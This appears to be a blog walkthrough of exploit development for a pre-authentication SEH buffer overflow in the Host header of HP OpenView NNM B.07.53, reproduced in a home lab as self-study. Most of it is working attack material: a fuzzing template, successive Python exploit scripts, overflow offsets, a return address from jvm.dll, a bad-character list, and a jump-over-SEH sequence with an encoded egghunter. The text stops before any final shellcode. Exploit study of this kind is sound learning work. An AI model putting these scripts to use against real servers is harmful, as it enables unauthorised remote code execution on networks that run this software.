Exploiting HP OpenView NNM - B.07.53

In DEFCON #16, there was an interesting session on HP OpenView NNM exploitation “from bug to 0 day” presented by muts. While watching his walk-through, I found that this particular exploit development process was extremely intense and challenging. To better understand the concepts, I decided to take that as an exercise and try to reproduce the same in my local environment.

Environment & Tools

1
2
3
4
5
- 32-bit windows server 2003-R2-SP2 (disabled DEP, enabled ASLR)
- python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
- HP OpenView NNM release - B.07.53
- Immunity Debugger v1.85, mona.py v2.0
- Kali 2.0, Spike fuzzer, python 3.7.x (exploit scripts)

Web Interface

Install HP OpenView NNM (release - B.07.53) on Windows 2003-R2-SP2.

Browse it’s web interface  - http://172.16.232.198:7510/topology/home to verify everything is up and running.

hpnnm_version

Fuzz Variables

Sniff the HTTP traffic through Burp proxy and identify 5 potential fuzz points (HTTP method, url_path, ip_address, port, user_agent header) on that GET request.

http-sniff

To crash the application, create a Spike template - http.spk.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
s_string_variable("GET");
s_string(" ");
s_string_variable("/topology/home")
s_string(" ");
s_string("HTTP/1.1");
s_string("\r\n");

s_string("Host: ");
s_string_variable("172.16.116.198");
s_string(":");
s_string_variable("7510");
s_string("\r\n");

s_string("User-Agent: ");
s_string_variable("Mozilla/5.0 (X11; U; Linux i686;en-US; rv:1.8.1.14)");
s_string("\r\n");

s_string("\r\n");

Process - ova.exe

It is observed that ova.exe process is responsible for listening to the network connection on TCP port 7150.

ovas-process

Crash

Attach and run the ovas.exe process through Immunity.

Start fuzzing the http.spk template through Spike fuzzer.

1
generic_send_tcp 172.16.116.198 7510 http.spk 0 0

It is observed that while fuzzing the host header, application crashes.

Verify and confirm the same by inspecting the host header in the memory dump.

crash

Analyzing the crash scenario

  • SEH and nSEH both are overwritten by fuzz buffer A.
  • It is possible to control/overwrite the EIP after passing the exception to the program.
  • ESP + 0x4C points at the 1025th byte of our fuzz buffer.
  • Approximate 2048 bytes buffer causes this crash.

The Bug

HP OpenView NNM - B.07.53 does not validate the host header while processing any un-authenticated HTTP request. As a result, an attacker can overwrite the SEH chain by sending a sizeable crafted buffer and hijack the execution flow.

Proof Of Concept

Restart ovas.exe and attach it within Immunity.

Set up the working directory for mona.py.

1
!mona config -set workingfolder c:\mona-logs\%p

Send the 2048 bytes buffer to verify and reproduce the same crash with a stand-alone python script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3

# author: greyshell
# description: crash ovas.exe with 2048 bytes buffer identified during fuzzing process

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # crash buff length = 2048
    buff = 2048 * "A"  # AAAA -> \x41\x41\x41\x41
    crash = buff

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

Best Buffer Length

Try to play with different buffer lengths to figure out the maximum lengthof the fuzz buffer, which produces the same crash.

After analyzing different crashes, it is observed that 3780 bytes buffer can be the right choice.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3

# author: greyshell
# description: crash ovas.exe with best buffer length = 3780

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # best buff length = 3780
    buff = 3780 * "A"  # AAAA -> \x41\x41\x41\x41
    crash = buff

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

nSEH & SEH Offsets

Create 3780 bytes unique pattern through mona.py.

1
!mona pattern_create 3780

Then copy those bytes from C:\mona-logs\ovas\pattern.txt and update the skeleton code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python3

# author: greyshell
# description: find the offset for nSEH and SEH through unique pattern

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # !mona pattern_create 3780
    buff = (
        "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0"
        "Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1"
        "Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2"
        "Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3"
        "Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5"
        "Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7"
        "As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9"
        "Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1"
        "Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3"
        "Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5"
        "Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7"
        "Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9"
        "Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1"
        "Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3"
        "Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5"
        "Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7"
        "By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9"
        "Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1"
        "Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3"
        "Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5"
        "Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7"
        "Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9"
        "Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1"
        "Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3"
        "Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5"
        "Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7"
        "De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9"
        "Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1"
        "Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3"
        "Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5"
        "Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7"
        "Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9"
        "Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1"
        "Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3"
        "Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5"
        "Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7"
        "Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9"
        "Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1"
        "Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3"
        "Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9")

    # max crash buff length = 3780
    crash = buff

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

During the crash, inspect the SEH chain and select the first corrupted-entry and then follow the address in the stack.

overflow_seh_chain

It is observed that

  • nSEH is overwritten with pattern => 32674531
  • SEH is overwritten with pattern => 45336745

Leverage mona.py to find the correct offsets:

  • nSEH offset: !mona pattern_offset 32674531 => 3305
  • SEH offset: !mona pattern_offset 45336745 => 3309

seh_offset_found

To verify those offsets, divide the original buffer into four different blocks - A, B, C, D, and update the skeleton code with those identified offset values.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3

# author: greyshell
# description: verify the nSEH and SEH offset

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # max crash buff length = 3780
    total_len_buff = 3780

    initial_buff = "A" * 3305  # AAAA -> \x41\x41\x41\x41

    nseh = "BBBB"  # nSEH offset = 3305, BBBB -> \x42\x42\x42\x42
    seh = "CCCC"  # SEH offset = 3309, CCCC -> \x43\x43\x43\x43

    buff_last = "D" * (total_len_buff - len(initial_buff) - len(nseh) - len(seh))  # DDDD -> \x44\x44\x44\x44

    crash = initial_buff + nseh + seh + buff_last

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

During the crash, the entire buffer is laid in memory in our expected way.

verify_seh_offset

Calculate the length of D buffer = 464 bytes.

d_block_length

Even if we have identified the maximum buffer length, this length is too small to accommodate an encoded version of the final payload.

POP POP RET

Try to identify which modules are not compiled with SafeSEH and ASLR.

1
!mona nosafesehaslr

There are plenty of options.

mona output - nosafesehaslr

Select jvm.dll module and pick up a PPR address => 0x6D6FA245

  • !mona seh -m jvm.dll
  • This command generates the seh.txt.

ppr address from jvm.dll

Update the skeleton code in little endian order = \x45\xa2\x6f\x6d.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3

# author: greyshell
# description: verify the nSEH and SEH offset

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # max crash buff length = 3780
    total_len_buff = 3780

    initial_buff = "A" * 3305

    nseh = "BBBB"  # nSEH offset = 3305

    # 0x6d6fa245: pop eax # pop ebp # ret 0x0c |  {PAGE_EXECUTE_READ} [jvm.dll] ASLR: False, Rebase: False,
    # SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP OpenView\jre\jreActive\bin\client\jvm.dll
    seh = (0x6d6fa245.to_bytes(4, 'little')).decode('ISO-8859-1')

    buff_last = "D" * (total_len_buff - len(initial_buff) - len(nseh) - len(seh))

    crash = initial_buff + nseh + seh + buff_last

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

After that, set up a breakpoint at 0x6D6FA245 to verify if it is possible to land on that address during the crash.

breakpoint_0x6d6e394a.png

However during the crash, when we pass the exception to the program, the SEH address is mangled into 0xA2BEEF45

little endian order: \x45\xef\xbe\xa2

mangled ppr address

It looks like some character translation/filtering is applied to the buffer. Due to this, we now need to find a bad char friendly PPR address.

Bad & Good Characters

Use badchar_detection_HPNNM_B.07.53.py to identify all good and bad characters in an automated fashion.

Script result
1
2
3
4
5
# good chars
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3b\x3c\x3d\x3e\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f

# bad chars
\x00\x0a\x0d\x2f\x3a\x3f\x40\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

detect-bad-char-HPNNM-B.07.53.py output

During the crash, ESP + 0x4c pointed at the 1025-the bytes of the fuzz buffer.

Algorithm
  • Start the ovas.exe process:
    • ovstop -c ovas && ovstart -c ovas
  • While sending the buffer, place a test-char at the 1025-th position.
  • if (application does not crash) OR (ESP + 0x4c does not have the value during crash time) then
    • consider that test-char as bad
    • write it down in badchars.txt
  • else
    • consider that test-char as good
    • write it down in goodchars.txt
  • Kill the ovas.exe process:
    • taskkill /f /im ovas.exe
  • Verify another test-char from all character set and repeat the same process and iterate all characters from \x00 to \xff.

Safe POP POP RET

Run find_safe_address.py to identify all safe PPR address from seh.txt.

finding-safe-ppr.py output

Pick up the first address - 0x6d6e394a and set up a breakpoint to verify that.

breakpoint at 0x6d6e394a

Run the following exploit code updated with a safe PPR address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3

# author: greyshell
# description: choose safe ppr address - 0x6d6e394a from safe-ppr-HP_NNM-B.07.53.txt

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # max crash buff length = 3780
    total_len_buff = 3780

    initial_buff = "A" * 3305

    nseh = "BBBB"  # nSEH offset = 3305

    # 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR:
    # False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP
    # OpenView\jre\jreActive\bin\client\jvm.dll)
    seh = (0x6d6e394a.to_bytes(4, 'little')).decode('ISO-8859-1')

    buff_last = "D" * (total_len_buff - len(initial_buff) - len(nseh) - len(seh))

    crash = initial_buff + nseh + seh + buff_last

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

As expected, this time, that address does not mangle during the crash.

0x6d6e394a did not mangled during crash

Pass the exception and land on the breakpoint.

land into 0x6d6e394a

Step through POP POP RET and finally jump into nSEH.

reach to nseh

Jump Over SEH

In nSEH, we can’t directly write a 4 byte jump code to meet D buffer because the short jump opcode (\xeb) is a bad char.

Now we need to identify all safe instructions from our good_char.txt.

Run find_safe_opcode.py and identify all safe instructions. From there, find that conditional jump instructions are safe to execute.

finding safe opcode JA

Conditional jump JA (\x77) occurs when

  • CF = 0 and ZF = 0
  • Jump must be within -128 to +127 bytes of the next instruction.

So if we want to jump 4 bytes (i.e. \x04 is a safe character), then the opcode is \x77\x04

Now at crash point, it is noticed that ZF = 1 and CF = 0.

To make ZF = 0 and to satisfy the jump condition, we can perform an operation that produces a non zero result (i.e., decrease the EAX register)

  • DEC EAX => opcode \x48 is a safe char

To satisfy the flag condition (ZF = 0), decreasing the EAX register 1 time is sufficient. However, opcode for this instruction is one byte, so we need to fill another byte with a value (in the stack it gets interpreted as an instruction) that does not impact the ZF flag. Due to this, we can use DEC EAX => \x48 another time as it does not change the ZF flag.

Select the jump offset = \x04 to jump over SEH and meet the D buffer.

1
2
3
# 1035FE34   48               DEC EAX
# 1035FE35   48               DEC EAX
# 1035FE36   77 04            JA SHORT 1035FE59

Update the skeleton code to overwrite nSEH with \x48\x48\x77\x04 and set a break point at 0x6d6e394a.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3

# author: greyshell
# description: jump over SEH and meet D buffer

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # max crash buff length = 3780
    total_len_buff = 3780

    initial_buff = "A" * 3305

    # 1035FE34   48               DEC EAX
    # 1035FE35   48               DEC EAX
    # 1035FE36   77 04            JA SHORT 1035FE59
    # little endian format: "\x4c\x4c\x77\x04"  ==> bad char friendly
    nseh = "\x48\x48\x77\x04"

    # 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR:
    # False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP
    # OpenView\jre\jreActive\bin\client\jvm.dll)
    seh = (0x6d6e394a.to_bytes(4, 'little')).decode('ISO-8859-1')

    buff_last = "D" * (total_len_buff - len(initial_buff) - len(nseh) - len(seh))

    crash = initial_buff + nseh + seh + buff_last

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

You can see, during the crash, the breakpoint is hit, and after stepping through POP POP RET, control goes to the nSEH. After that, it executes all instructions stored on nSEH and finally jumps forward 4 bytes and meet D buffer block.

jump over seh

Egghunter

At this point, roughly 464 bytes are left in D buffer.

Problem
  • This D buffer suffers from character translation. Due to this, we can’t directly write any shellcode/payload here.
  • Again if we use any existing encoder from msfvenom after eliminating all those bad characters, then the final payload size will be huge.
Solution
  • We can choose a smaller stage 1 payload, such as 32 bytes egghunter.
  • We can use a custom encoder that generates less than 464 bytes output for the 32 byte egghunter code.
  • We can write the original shellcode somewhere in the memory that has more space.

Alphanum Encoder

Use mona.py alphanum encoder to encode 32 bytes egghunter payload. This encoder uses only AND, SUB, PUSH operations during the encoding process, and those instructions are bad characters friendly.

We need to choose an egg marker, and that needs to be bad character friendly as well.

lets choose egg_marker = T00wT00W

1
!mona encode ascii -t alphanum -b '\x00\x0a\x0d\x2f\x3a\x3f\x40\x80..\xff' -s 6681CAFF0F42526A0258CD2E3C055A74EFB8543030578BFAAF75EAAF75E7FFE7

It generates the encoded_alphanum.txt inside mona-logs\ovas directory.

1
2
3
encoded egghunter in hex format, egg_marker = T00wT00W
=======================================================
